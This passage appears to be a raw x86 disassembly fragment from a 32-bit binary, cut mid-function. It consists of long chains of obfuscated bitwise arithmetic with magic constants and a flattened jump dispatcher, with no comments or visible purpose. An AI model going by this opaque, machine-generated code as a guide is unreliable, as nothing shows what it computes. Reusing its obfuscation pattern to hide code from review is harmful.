or esi, ecx
and ecx, 0x94902146
and edx, 0x6b6fdeb9
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov eax, esi
xor eax, 0x818b81
xor esi, 0x9240044
and esi, 0x5966206e
and eax, 0xa699df91
or eax, esi
mov edx, eax
xor edx, 0xa699df91
xor eax, 0x8200046
and eax, 0x2eb19447
mov ecx, edx
and ecx, 0xd14e6bb8
or ecx, eax
xor ecx, 0x2eb19446
and edx, 1
or edx, ecx
mov eax, dword [ebp - 0x14]
and eax, 0x11012a82
mov ebx, dword [ebp - 0x18]
mov ecx, ebx
and ecx, 0xa8c20060
or ecx, eax
xor ecx, 0xa8c20060
and ebx, 0x463cd51d
or ebx, ecx
mov edi, ebx
xor edi, 0x463cd51d
mov eax, ebx
xor eax, 0x11800a42
and eax, 0x1780ce42
xor ebx, 0xc0423e5b
and ebx, edi
and edi, 0xe87f31bd
or edi, eax
mov esi, edi
xor esi, 0x600ca42
or esi, 0x798114b9
mov eax, edi
xor eax, 0x801e0104
mov ecx, esi
and ecx, 0x29e16440
and eax, 0x861e8b06
or eax, ecx
mov ecx, ebx
not ecx
or esi, ecx
and ecx, 0x29e16440
and ebx, 0xd61e9bbf
or ebx, ecx
xor ebx, eax
not esi
or esi, ebx
mov eax, esi
xor eax, 0x78000480
xor esi, 0x867eeb47
mov ecx, esi
and ecx, 0x791187a
and eax, 0xf86ee785
or eax, ecx
mov ecx, edi
xor ecx, 0xe87f31bc
or ecx, 1
xor edi, 0x1000c600
or esi, ecx
and ecx, 0x791187a
and edi, 0xf86ee784
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov ebx, edx
not ebx
mov eax, esi
not eax
mov ecx, esi
and ecx, edx
mov edi, ebx
and edi, eax
or edi, ecx
not edi
or edi, edx
and edx, 0xb5a3b563
and ebx, 0x4a5c4a9c
or ebx, edx
mov ecx, esi
xor esi, 0x4a5c4a9c
and esi, eax
and ecx, 0xb5a3b563
or esi, ecx
mov edx, esi
xor edx, esi
not edx
and edx, ebx
xor edx, esi
mov eax, edi
not eax
mov ecx, edi
and ecx, 0xfdc78679
xor edi, 0xe1526a2c
and edi, eax
and eax, 0x2387986
or eax, ecx
mov ecx, eax
xor ecx, 0x2387986
mov dword [ebp - 0x1c], ecx
xor eax, 0xe36a13aa
and eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x11c1ed6f
and eax, 0xee3e1290
or eax, ecx
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0x11c1ed6f
and edi, 0xee3e1290
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov ecx, edx
xor ecx, 0x1ead95d3
mov edi, ecx
and ecx, edx
mov esi, edx
not esi
and edi, esi
mov eax, edi
not eax
mov edx, eax
and edx, 0x8990ac6f
and edi, 0x766f5390
or edi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x8990ac6f
and ecx, 0x766f5390
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
xor eax, ebx
or esi, dword [ebp - 0x1c]
not esi
or esi, eax
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x18]
mov eax, edi
xor eax, 0x2349d076
and eax, edi
mov ecx, dword [ebp - 0x14]
mov esi, ecx
or esi, eax
not eax
and eax, 0xdcb62f89
and esi, 0x2349d076
or esi, eax
mov eax, ecx
mov edx, ecx
and eax, 0x4037b005
and edi, 0xbfc84ffa
or edi, eax
xor edi, 0xbfc84ffa
xor edx, edi
and edx, edi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xff61c84
and edx, 0xf009e37b
or edx, eax
mov ebx, esi
xor ebx, 0xff61c84
and ebx, esi
mov edi, esi
not esi
or edi, 0xf009e37b
mov eax, edi
and eax, 0x8b9e0215
or ecx, esi
and esi, 0x4601c80
or esi, eax
mov eax, ebx
not eax
or edi, eax
and eax, 0x8b9e0215
and ebx, 0x7461fdea
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov eax, edx
xor eax, edx
not eax
and eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, eax
mov esi, eax
not esi
mov dword [ebp - 0x14], esi
and esi, 0x5204060
and edx, 0x18010a04
or edx, esi
mov edi, eax
xor edx, 0x18010a04
and edi, 0xe2deb59b
or edi, edx
mov esi, edi
xor esi, 0x8016a112
xor edi, 0xc214a04
and edi, 0x6ee95e8d
and esi, 0x9116a172
or esi, edi
mov edx, esi
xor edx, 0x9116a172
mov edi, ecx
not edi
and edx, edi
xor esi, 0x6ee95e8d
and esi, ecx
or esi, edx
not esi
or esi, edi
and edi, 0x44de6a51
and ecx, 0xbb2195ae
or ecx, edi
mov edi, eax
xor edi, 0x28ecf33
and edi, eax
mov edx, eax
mov ebx, dword [ebp - 0x14]
and ebx, 0x12a344c6
and edx, 0xed5cbb39
or edx, ebx
mov ebx, edx
xor ebx, 0xa94cb921
xor edx, 0x12a344c6
mov eax, edx
and eax, 0x463106dc
and ebx, 0xb9cef923
or ebx, eax
mov eax, ecx
xor eax, 0xbb2195ae
xor ecx, 0xce6801
or edx, eax
and eax, 0x463106dc
and ecx, 0xb9cef923
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, esi
not eax
mov ebx, eax
xor ebx, edx
and ebx, eax
and esi, 0x4d15da6b
and eax, 0xb2ea2594
or eax, esi
mov ecx, edx
not ecx
and edx, 0x4d15da6b
and ecx, 0xb2ea2594
or ecx, edx
xor ecx, eax
or ecx, ebx
mov esi, dword [ebp - 0x14]
or esi, edi
not edi
and edi, 0xfd7130cc
and esi, 0x28ecf33
or esi, edi
mov edx, ecx
not edx
mov eax, edx
and eax, 0x4e9e909a
mov edi, ecx
xor edi, 0x4e9e909a
and edi, ecx
or edi, eax
mov dword [ebp - 0x14], edi
mov ebx, esi
not ebx
mov edi, esi
xor edi, 0x4e9e909a
and ebx, edi
and edi, esi
mov eax, ebx
not eax
mov esi, eax
and esi, 0xa00afe4a
and ebx, 0x5ff501b5
or ebx, esi
mov esi, edi
not esi
or eax, esi
and esi, 0xa00afe4a
and edi, 0x5ff501b5
or edi, esi
xor edi, ebx
not eax
or eax, edi
mov edi, eax
xor edi, eax
not edi
and edi, dword [ebp - 0x14]
xor edi, eax
mov eax, edi
not eax
mov esi, eax
and esi, 0x55158db8
and edi, 0xaaea7247
or edi, esi
and ecx, 0x55158db8
and edx, 0xaaea7247
or edx, ecx
xor edx, edi
xor eax, edx
test eax, edx
setne dl
sete ch
cmp dword [0x10049904], 0xa
setge cl
setl ah
mov dh, cl
mov ebx, ecx
and bl, ch
mov al, cl
xor al, ch
or cl, ch
and ch, ah
and dh, dl
or dh, ch
mov ch, dh
xor ch, ah
and ch, dh
and dl, ah
or bl, dl
mov edx, ebx
xor dl, 1
mov ah, dl
and ah, bl
xor ah, 1
or ah, bl
xor ah, 1
or ah, dl
mov dh, ah
and dh, ch
xor ch, 1
xor ah, 1
and ah, ch
or ch, dl
xor ch, 1
or ch, dh
or ch, ah
mov dl, ch
xor dl, 1
xor cl, 1
or al, cl
xor al, 1
or al, cl
mov ah, ch
and ah, dl
mov cl, dl
and cl, al
xor al, 1
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
mov dh, ah
xor dh, 1
xor al, dl
or al, ch
mov dl, al
xor dl, 1
mov ch, dl
or dl, dh
and dh, ah
and ch, al
xor dh, 1
mov bl, dh
xor bl, ah
or dh, ah
xor dh, 1
or dh, bl
xor ch, 1
mov bl, ch
xor bl, al
or ch, al
xor ch, 1
or ch, bl
xor ch, dh
xor ch, 1
xor al, ah
xor dl, 1
or dl, al
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
mov ah, cl
xor ah, 1
mov ch, ah
mov al, cl
or al, dl
and ah, dl
xor dl, 1
xor ch, dl
xor al, 1
or al, ch
and dl, cl
mov ecx, eax
xor cl, 1
or dl, ah
mov ah, al
and ah, dl
xor dl, 1
and cl, dl
or cl, ah
or dl, al
mov ch, dl
xor ch, cl
test dl, 1
mov eax, 0xe91b51af
mov edx, 0x41ee25a8
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov ecx, 0xe91b51af
cmove eax, ecx
jmp 0x1000f5c0
cmp eax, 0x7d9f6b20
jg 0x10018a13
cmp eax, 0x71a1c948
je 0x10020a7d
cmp eax, 0x77b243d6
jne 0x1000f5c0
mov eax, 0x54f26c78
jmp 0x1000f5c0
cmp eax, 0xba4b2975
jg 0x10019823
cmp eax, 0xb8e59c87
je 0x10020a87
cmp eax, 0xba38d291
jne 0x1000f5c0
mov ecx, dword [0x10049900]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
or esi, 0x89801020
mov edx, eax
or edx, 0x600
and edx, 0x89801620
mov edi, ecx
and edi, 0x400100
or edi, edx
and esi, 0x89801620
mov edx, eax
mov dword [ebp - 0x14], eax
and edx, 0x110800
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x100c00
xor edx, 0xc1ca6145
and esi, 0x8101c20
and edx, 0xc1cb6345
or edx, esi
mov esi, eax
and esi, 0x70bf7d55
mov ebx, ecx
and ebx, 0x8f4082aa
or ebx, esi
xor ebx, 0xf96e6275
mov edi, ecx
and edi, 0x89d11f20
or edi, ebx
mov esi, edx
xor esi, 0xc1cb6345
mov ebx, edi
not ebx
xor edx, 0x3e349cba
and ebx, edx
or edx, edi
and edi, esi
or edi, ebx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0xc564a62a
and edi, 0x3a9b59d5
or edi, ebx
or esi, edx
and edx, 0xcdffff6f
xor edx, edi
xor edx, 0x89b5945
not esi
or esi, edx
mov edx, esi
xor edx, 0x762ee0df
xor esi, 0x89d11f20
mov ebx, edx
and ebx, 0x8b92390a
mov edi, esi
and esi, 0x746dc6f5
or esi, ebx
and edi, edx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x8b92390a
and edi, 0x746dc6f5
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov ebx, edx
not ebx
mov edi, edx
xor edi, 0x3fba7c6c
and edi, ebx
mov esi, edi
not esi
mov eax, esi
and eax, 0xaefe733e
and edi, 0x51018cc1
or edi, eax
or ebx, 0x3fba7c6c
or esi, ebx
and ebx, 0xaefe733e
and edx, 0x40018081
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edi, esi
xor edi, 0x5023004
xor esi, 0x440381
and esi, 0x3afc4fe9
and edi, 0xc503b016
or edi, esi
mov edx, edi
xor edx, 0x81018010
xor edi, 0xaa84b40
and edi, 0x4eaa7b46
and edx, 0xb15584b9
or edx, edi
mov eax, ecx
and eax, 0xad906000
mov ebx, dword [ebp - 0x14]
mov edi, ebx
and edi, 0x10491e16
or edi, eax
xor edi, 0x10491e16
mov esi, ebx
and esi, 0x422681e9
or esi, edi
mov edi, esi
xor edi, 0x40268061
and ecx, 0x5127ddbf
and ebx, 0xaed82240
or ebx, ecx
xor esi, 0xbdd97e16
mov eax, esi
and eax, 0x8e905f8a
and edi, 0x716fa075
or edi, eax
mov eax, ebx
mov ecx, ebx
xor ecx, 0x20482040
xor eax, 0x5d8a
and eax, 0x8e905f8a
and ecx, 0x716fa075
or ecx, eax
mov eax, edx
xor eax, 0x4eaa7b46
xor edx, 0xb15584b9
xor ecx, edi
not ecx
or ecx, esi
mov edi, edx
and edi, 0x78b7b017
mov esi, eax
and esi, 0x87484fe8
or esi, edi
mov edi, edx
and edi, 0x9375bcd0
and eax, 0x6c8a432f
or eax, edi
mov edi, ecx
xor eax, 0x9375bcd0
or eax, ecx
not ecx
mov ebx, ecx
and ebx, 0x78b7b017
and edi, 0x87484fe8
or edi, ebx
xor edi, esi
mov ebx, edi
xor ebx, edx
and ebx, edi
not eax
or ecx, edx
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov esi, ebx
not esi
mov eax, esi
and eax, 0x503ee52a
mov edi, ebx
mov ecx, ebx
and edi, 0xafc11ad5
or edi, eax
mov eax, edi
xor eax, 0xafc11ad5
mov edx, eax
mov dword [ebp - 0x18], eax
xor edi, 0x503ee52a
mov eax, edi
or eax, 0xa452a611
and eax, 0xb752af51
and edx, 0x40a1408c
or edx, eax
or esi, 0x13000940
and esi, 0xb752af51
and ecx, 0x80c1022
or ecx, esi
xor ecx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x14]
mov ebx, ecx
not ebx
mov dword [ebp - 0x20], ebx
mov edx, ecx
mov eax, ecx
xor edx, 0x53a149cc
mov esi, edx
and esi, ebx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xa4a93968
and esi, 0x5b56c697
or esi, ebx
and edx, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0xa4a93968
and edx, 0x5b56c697
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
xor edx, ecx
not edx
and edx, dword [ebp - 0x1c]
xor edx, ecx
mov eax, edi
and eax, 0x69d323fd
mov ecx, dword [ebp - 0x18]
and ecx, 0x962cdc02
or ecx, eax
mov eax, dword [ebp - 0x14]
or edi, eax
and eax, 0x69d323fd
mov esi, dword [ebp - 0x20]
and esi, 0x962cdc02
or esi, eax
xor esi, ecx
not edi
or edi, esi
mov ecx, edi
not ecx
mov esi, edx
not esi
mov eax, esi
and eax, 0x9b33c1d0
and edx, 0x64cc3e2f
or edx, eax
or esi, edi
and edi, 0x9b33c1d0
and ecx, 0x64cc3e2f
or ecx, edi
xor ecx, edx
not esi
or esi, ecx
mov eax, esi
not eax
mov edx, esi
mov edi, esi
and edx, 0x5a6b3369
mov ecx, eax
mov dword [ebp - 0x18], eax
and ecx, 0xa594cc96
or ecx, edx
and esi, 0xd67f2d37
mov edx, eax
and edx, 0x2980d2c8
or edx, esi
mov ebx, ecx
xor ebx, 0x5144884
xor ecx, 0x5a6b3369
xor edx, 0x2980d2c8
or edx, eax
mov esi, ecx
xor esi, edx
and esi, ecx
and ebx, 0x5d775aad
and ecx, 0xa288a552
or ecx, ebx
xor ecx, edx
mov eax, esi
not eax
mov edx, eax
and edx, 0x75d43a87
and esi, 0x8a2bc578
or esi, edx
mov edx, ecx
xor edx, 0xa288a552
xor ecx, 0x5d775aad
or eax, ecx
and ecx, 0x75d43a87
and edx, 0x8a2bc578
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, eax
mov dword [ebp - 0x14], eax
or ecx, 0x2a2b2410
and ecx, 0x2a2bae14
mov ebx, edx
and edx, 0x844000ea
or edx, ecx
mov esi, ebx
mov dword [ebp - 0x28], ebx
or esi, 0x8a04
and esi, 0x2a2bae14
and eax, 0x51945101
or eax, esi
xor eax, edx
mov edx, eax
xor edx, 0x48
xor eax, 0x15d3117
and eax, 0xa3ff73b7
and edx, 0x5c008c48
or edx, eax
mov esi, edi
and esi, 0x76f5738f
mov ecx, edi
xor ecx, 0x890a8c70
mov eax, dword [ebp - 0x18]
and ecx, eax
or ecx, esi
and eax, 0x6d53da08
mov esi, edi
and esi, 0x92ac25f7
or esi, eax
xor esi, 0x4bb1120e
and edi, 0x26e2c806
or edi, esi
xor ecx, 0xafe84476
not edi
or edi, ecx
mov eax, edi
not eax
mov esi, edi
and esi, 0xc02aa962
mov ecx, eax
and eax, 0x3fd5569d
or eax, esi
and ecx, edi
mov esi, ecx
not esi
or edi, esi
and esi, 0xc02aa962
and ecx, 0x3fd5569d
or ecx, esi
xor ecx, eax
xor edx, 0x5c008c48
or edx, ebx
not edi
or edi, ecx
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xff048fb2
mov eax, ecx
and eax, 0xfb704d
or eax, esi
mov esi, eax
xor esi, 0xa1104c
xor eax, 0x96048e90
and eax, 0x965eee91
and esi, 0x69a1116e
or esi, eax
mov eax, edi
not eax
mov dword [ebp - 0x30], eax
and eax, 0x44b7b323
mov ebx, edi
xor ebx, 0x44b7b323
and ebx, edi
or ebx, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], esi
mov ebx, esi
xor ebx, 0x965eee91
mov dword [ebp - 0x24], ebx
mov eax, esi
xor eax, 0x69a1116e
mov dword [ebp - 0x1c], eax
and eax, 0xa9f2f194
mov esi, ebx
and esi, 0x560d0e6b
or esi, eax
and edx, 0x96c57cae
and ecx, 0x693a8351
or ecx, edx
mov eax, ecx
xor eax, 0x693a8351
xor ecx, 0x82057884
and ecx, 0xea277b94
mov edx, eax
and edx, 0x15d8846b
or edx, ecx
xor edx, 0xd796b42f
and eax, 0x3db1cfbb
or eax, edx
mov ecx, dword [ebp - 0x18]
mov edx, ecx
xor edx, 0xbb484cdc
mov dword [ebp - 0x20], edx
xor ecx, 0x44b7b323
mov dword [ebp - 0x18], ecx
and ecx, 0xc24e3044
and edx, 0x3db1cfbb
or edx, ecx
mov ecx, edx
xor ecx, dword [ebp - 0x18]
and ecx, edx
and edi, 0xc8909dec
mov ebx, dword [ebp - 0x30]
mov edx, ebx
and edx, 0x376f6213
or edx, edi
xor edx, 0xf5215257
and ebx, 0x3db1cfbb
or ebx, edx
xor esi, 0x94433e2f
or esi, dword [ebp - 0x1c]
mov edx, eax
not edx
and edx, esi
mov edi, esi
not edi
mov esi, edi
xor esi, eax
and esi, edi
and eax, edi
or eax, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0x6d8a5823
and esi, 0x9275a7dc
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0x6d8a5823
and eax, 0x9275a7dc
or eax, edi
xor eax, esi
not edx
or edx, eax
mov eax, ecx
not eax
xor ecx, eax
and ecx, ebx
xor ecx, eax
or eax, ebx
mov esi, ecx
not esi
mov edi, esi
and edi, 0xa4f956b6
and ecx, 0x5b06a949
or ecx, edi
xor ecx, eax
or esi, eax
xor ecx, 0x5b06a949
not esi
or esi, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xb050e155
and edx, 0x4faf1eaa
or edx, ecx
mov ecx, esi
not ecx
xor edx, 0xb050e155
or edx, ecx
and ecx, 0x60dc421b
and esi, 0x9f23bde4
or esi, ecx
xor esi, 0x60dc421b
or esi, eax
not edx
not esi
or esi, edx
mov ecx, dword [ebp - 0x18]
and ecx, 0xb89872
mov eax, dword [ebp - 0x20]
mov ebx, eax
and ebx, 0xff47678d
or ebx, ecx
mov edx, ebx
xor edx, 0xff47678d
mov dword [ebp - 0x18], edx
and edx, 0x94631753
and eax, 0x6b9ce8ac
or eax, edx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x2c]
xor ecx, 0x23df9c2
mov eax, dword [ebp - 0x1c]
and ecx, eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0xc65f4266
and ecx, 0x39a0bd99
or ecx, edx
mov edx, eax
or edx, 0x94631753
or edi, edx
and edx, 0xc65f4266
mov eax, dword [ebp - 0x24]
and eax, 0x2980a888
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, dword [ebp - 0x20]
mov edx, eax
xor edx, eax
not edx
and edx, edi
xor edx, eax
mov edi, dword [ebp - 0x24]
mov eax, edi
and eax, 0xab5077c0
mov ecx, dword [ebp - 0x1c]
and ecx, 0x54af883f
or ecx, eax
xor ebx, 0xb89872
or edi, ebx
and ebx, 0xab5077c0
mov eax, dword [ebp - 0x18]
and eax, 0x54af883f
or eax, ebx
xor eax, ecx
not edi
or edi, eax
not edi
or edi, edx
mov ecx, edi
xor ecx, 0x766f160d
and ecx, edi
mov eax, edi
mov edx, edi
not edx
or eax, 0x8990e9f2
mov edi, eax
and edi, 0x324178e6
and edx, 0x442e0609
or edx, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x324178e6
and ecx, 0xcdbe8719
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x89008990
xor eax, 0x766f160d
mov edx, eax
and edx, 0x64ba7262
and ecx, 0x9b458d9d
or ecx, edx
xor ecx, 0x64ba7262
xor eax, ecx
and eax, ecx
mov edx, esi
not edx
mov ecx, eax
not ecx
and eax, edx
or edx, ecx
and ecx, esi
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x630ca4
and ecx, 0xff9cf35b
or ecx, eax
xor ecx, edx
xor ecx, 0xff9cf35b
or esi, edx
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x9072a024
mov edx, esi
and edx, 0x1044c99
or edx, eax
xor edx, 0x1044c99
mov eax, esi
xor eax, 0x9176ecbd
and eax, esi
or eax, edx
and ecx, 0x89050530
and esi, 0x501832c8
or esi, ecx
mov ecx, eax
xor ecx, 0x62c805
or ecx, 0xd91d37f8
mov edx, ecx
not edx
and ecx, 0xa0800000
xor eax, 0x6428804
and eax, edx
and edx, 0x428806
or edx, ecx
xor edx, 0x42888e
or eax, edx
mov ecx, esi
xor ecx, 0x501832c8
or ecx, 0x26e2c807
mov edx, esi
xor esi, 0xa9470d34
and esi, ecx
xor edx, 0x80505b8
xor esi, edx
xor esi, eax
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x28]
mov eax, edx
and eax, 0x6006
mov ecx, dword [ebp - 0x14]
mov esi, ecx
and esi, 0x22210a38
or esi, eax
xor esi, 0x22210a38
mov eax, ecx
xor eax, 0x22216a3e
and eax, ecx
mov ebx, ecx
or esi, eax
not eax
and eax, 0xddde95c1
and esi, 0x22216a3e
or esi, eax
mov dword [ebp - 0x20], esi
mov ecx, esi
not ecx
mov dword [ebp - 0x1c], ecx
and ecx, 0xd40488a
mov eax, esi
and eax, 0x80110104
or eax, ecx
mov edi, eax
xor edi, 0x80100004
or edi, 0x328c8421
xor eax, 0x9404888
and eax, 0x9414988
and edi, 0xb69c8427
or edi, eax
mov eax, edx
and eax, 0x40a68421
and ebx, 0x32083250
or ebx, eax
mov ecx, ebx
mov ebx, edi
xor ebx, 0x84000006
mov edx, edi
xor edx, 0x49637bd8
mov eax, edx
and eax, 0xb94d349
and ebx, 0x84410886
or ebx, eax
mov esi, ecx
xor esi, 0x32083250
or esi, 0x8d51498e
mov eax, esi
not eax
and esi, 0x42c80884
xor ecx, 0x42063211
and ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, eax
and ecx, 0x3026b671
or ecx, esi
mov eax, ebx
mov esi, ebx
xor esi, 0xf46b2cb6
mov dword [ebp - 0x24], esi
xor eax, 0xb94d349
mov dword [ebp - 0x28], eax
or eax, 0x20080045
and eax, 0x2c890145
and esi, 0x3609618
or esi, eax
mov dword [ebp - 0x2c], esi
or edx, 0xc812120
xor edi, 0x80100002
and edx, 0x2c892165
and edi, 0x80104882
or edi, edx
mov edx, ecx
xor edx, 0xbd37f77b
mov eax, ecx
xor eax, 0x4d29bfbc
and eax, edx
mov ebx, eax
not ebx
mov esi, ebx
and esi, 0x2238f871
and eax, 0x59c60700
or eax, esi
mov esi, dword [ebp - 0x14]
not esi
or ebx, esi
and esi, 0x2639f879
and dword [ebp - 0x14], 0x50860600
add dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x14]
xor esi, eax
not ebx
or ebx, esi
xor ebx, edi
xor ebx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x28]
mov eax, edi
and eax, 0x880800c
mov esi, dword [ebp - 0x24]
and esi, 0x975f5bd3
or esi, eax
xor ecx, 0x42c80884
or edi, ecx
mov eax, edi
and ecx, 0x60a0a420
and edx, 0x975f5bd3
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov edx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x6c9cbc37
and ebx, 0x936343c8
or ebx, eax
xor ebx, edx
or ecx, edx
xor ebx, 0x936343c8
not ecx
or ecx, ebx
mov ebx, ecx
mov edi, dword [ebp - 0x20]
mov ecx, edi
xor ecx, 0x4ee4c6e1
and ecx, edi
mov eax, dword [ebp - 0x1c]
and eax, 0xa9be4f31
and edi, 0x5641b0ce
or edi, eax
mov edx, edi
xor edx, 0x5641b0ce
mov eax, edi
xor edi, 0xe75a89d0
and edi, edx
mov esi, edi
not esi
mov edx, esi
and edx, 0x63d91745
and edi, 0x9c26e8ba
or edi, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x63d91745
and ecx, 0x9c26e8ba
or ecx, edx
xor ecx, edi
xor eax, 0xa9be4f30
not esi
or esi, ecx
xor esi, 0xb11b391f
and eax, 0xfffffffe
or eax, esi
mov esi, eax
not esi
and eax, 0x83847e0b
mov ecx, esi
and ecx, 0x7c7b81f4
or ecx, eax
mov eax, ecx
xor eax, 0x7c7b81f4
mov dword [ebp - 0x14], eax
and eax, 0xe099666d
and esi, 0x1f669992
or esi, eax
mov dword [ebp - 0x1c], esi
mov edi, ebx
mov eax, ebx
xor eax, 0x72aeb670
mov dword [ebp - 0x20], eax
xor edi, 0x6dc82fe2
mov edx, edi
and edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x5341d12b
and edx, 0xacbe2ed4
or edx, eax
xor ebx, 0x8d51498f
and edi, ebx
mov eax, edi
not eax
or esi, eax
and eax, 0x5341d12b
and edi, 0xacbe2ed4
or edi, eax
xor edi, edx
not esi
or esi, edi
xor esi, dword [ebp - 0x1c]
mov edx, ebx
and edx, 0x373e345b
mov eax, dword [ebp - 0x20]
and eax, 0xc8c1cba4
or eax, edx
mov edx, eax
xor ecx, 0x83847e0b
or ebx, ecx
and ecx, 0x373e345b
mov eax, dword [ebp - 0x14]
and eax, 0xc8c1cba4
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x929f0df5
and esi, 0x6d60f20a
or esi, ecx
mov ecx, ebx
not ecx
or edx, ebx
and ebx, 0x929f0df5
and ecx, 0x6d60f20a
or ecx, ebx
xor ecx, esi
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x8adb432f
mov esi, edx
and esi, 0x7524bcd0
or esi, ecx
mov ecx, esi
xor ecx, 0x100424d0
xor esi, 0x2800003
or esi, 0xc081200
and esi, 0x6f889203
and ecx, 0x901724d0
or ecx, esi
mov edi, eax
or edi, 0x63808003
and edi, 0x6f889203
mov esi, edx
and esi, 0x60492c
or esi, edi
xor esi, ecx
mov edi, esi
xor edi, 0x5220
xor esi, 0x41958040
and esi, 0x4dfd894c
and edi, 0xb20276b3
or edi, esi
mov ecx, edi
xor ecx, 0x4dfd894c
and ecx, edi
and edx, 0xa067eb18
mov esi, eax
and esi, 0x5f9814e7
or esi, edx
xor esi, 0x12659dab
and eax, 0xb20276b3
or eax, esi
xor eax, ecx
and ecx, eax
mov edx, ecx
not edx
mov esi, edx
and esi, 0x8abebe27
and ecx, 0x754141d8
or ecx, esi
mov esi, eax
not esi
or edx, eax
and eax, 0x8abebe27
and esi, 0x754141d8
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
xor eax, 0x4dfd894c
xor edx, 0xb20276b3
mov ecx, edx
and ecx, 0x5791d258
and edx, eax
and eax, 0xa86e2da7
or eax, ecx
mov ecx, eax
xor ecx, 0x88482d07
xor eax, 0x5791d258
mov esi, eax
and esi, 0x612610b0
and ecx, 0x9ed9ef4f
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x612610b0
and edx, 0x9ed9ef4f
or edx, esi
mov edi, dword [ebp - 0x18]
mov esi, edi
xor esi, 0x1808002
xor edx, ecx
not eax
or eax, edx
mov ecx, edi
xor ecx, 0xfe7f7ffd
mov dword [ebp - 0x18], ecx
and ecx, 0xf2f817e9
mov edx, esi
and edx, 0xd07e816
or edx, ecx
mov edi, eax
not edi
mov ebx, eax
and ebx, 0x1f267ea8
mov ecx, eax
xor ecx, 0xbcbb7653
and eax, ecx
and ecx, edi
and edi, 0xe0d98157
or edi, ebx
xor edx, 0xd07e816
xor edi, 0xe0d98157
or edi, edx
mov edx, dword [ebp - 0x18]
and edx, 0x43000808
mov ebx, esi
and ebx, 0x4481a4
or ebx, edx
mov edx, ebx
xor edx, 0x448020
xor ebx, 0x4003685b
and ebx, 0x400369df
and edx, 0x3448020
or edx, ebx
mov ebx, dword [ebp - 0x18]
or ebx, 0x4000098c
and ebx, 0x400369df
and esi, 0xbcb81600
or esi, ebx
xor esi, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x6cd3031b
and eax, 0x932cfce4
or eax, ebx
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0x6cd3031b
and ecx, 0x932cfce4
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, edx
not eax
and eax, esi
xor eax, edx
mov ecx, edi
and ecx, 0x11361de1
mov edx, edi
not edx
mov esi, edx
and esi, 0xeec9e21e
or esi, ecx
mov ecx, eax
not ecx
mov dword [ebp - 0x1c], ecx
and ecx, 0xa2bc524
mov ebx, eax
and ebx, 0xf5d43adb
or ebx, ecx
mov ecx, esi
xor ecx, 0xeec9e21e
mov dword [ebp - 0x18], ecx
xor esi, 0xe8cbdcc
and esi, ecx
mov ecx, esi
not ecx
mov dword [ebp - 0x14], ecx
and dword [ebp - 0x14], 0xd9eae864
and esi, 0x2615179b
add esi, dword [ebp - 0x14]
or edi, 0x1fbaa02d
or ecx, edi
and edi, 0xd9eae864
and edx, 0x20051792
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ebx
xor edx, 0x20a8000
or edx, 0x80411f02
mov esi, ebx
xor ebx, 0x902008
and edx, 0x974b9f03
and ebx, 0x8b0202c
or ebx, edx
mov edx, dword [ebp - 0x1c]
or edx, 0x170a8001
and edx, 0x974b9f03
and eax, 0x600440d0
or eax, edx
xor esi, 0xf5d43adb
xor eax, ebx
mov edx, eax
xor edx, eax
not edx
and edx, ecx
xor edx, eax
or esi, dword [ebp - 0x18]
not esi
or esi, edx
